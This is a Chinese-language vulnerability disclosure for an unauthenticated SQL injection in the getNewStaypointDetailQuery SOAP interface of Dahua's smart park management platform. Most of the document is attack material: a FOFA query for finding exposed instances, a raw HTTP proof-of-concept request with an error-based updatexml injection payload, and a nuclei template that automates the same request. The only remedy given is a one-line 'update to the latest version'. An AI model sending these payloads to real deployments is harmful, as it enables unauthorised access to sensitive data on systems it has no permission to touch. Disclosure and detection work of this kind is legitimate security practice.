大华智慧园区综合管理平台 getNewStaypointDetailQuery SQL注入漏洞

1.漏洞介绍

​ 大华综合管理平台”是一款综合管理平台，具备园区运营、和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

​ 由于大华综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。

2.漏洞编号

CVE	CNVD	CNNVD
-	-	-

3.影响范围

名称	版本号
	-

4.检索特征

FOFA：app=“dahua-智慧园区综合管理平台”

5.POC

POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
Host: XXXXXXXXXXXXXXX
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<car:getNewStaypointDetailQuery>
<!--type: string-->
<searchJson>{}</searchJson>
<!--type: string-->
<pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select @@VERSION),0x7e),1)--"}</pageJson>
<!--type: string-->
<extend>quae divum incedo</extend>
</car:getNewStaypointDetailQuery>
</soapenv:Body>
</soapenv:Envelope>

nuclei检测

id: dahua-getNewStaypointDetailQuery-sqli
info:
  name: 由于大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行有效的过滤
  author: test
  severity: critical
  description: 由于大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。
  reference:
  metadata:
    verified: true
    max-request: 1
    fofa-query: FOFA:app="dahua-智慧园区综合管理平台"
  tags: sqli

requests:
  - raw:
      - |
        POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
        Host: {{Hostname}}
        User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
        Content-Type: text/xml;charset=UTF-8
        
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
        <soapenv:Header/>
        <soapenv:Body>
        <car:getNewStaypointDetailQuery>
        <!--type: string-->
        <searchJson>{}</searchJson>
        <!--type: string-->
        <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select @@VERSION),0x7e),1)--"}</pageJson>
        <!--type: string-->
        <extend>quae divum incedo</extend>
        </car:getNewStaypointDetailQuery>
        </soapenv:Body>
        </soapenv:Envelope>
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH syntax error"
          - "error code [1105]"
        part: body
        
      - type: status
        status:
          - 500

6.修复建议

更新到最新版本

7.参考信息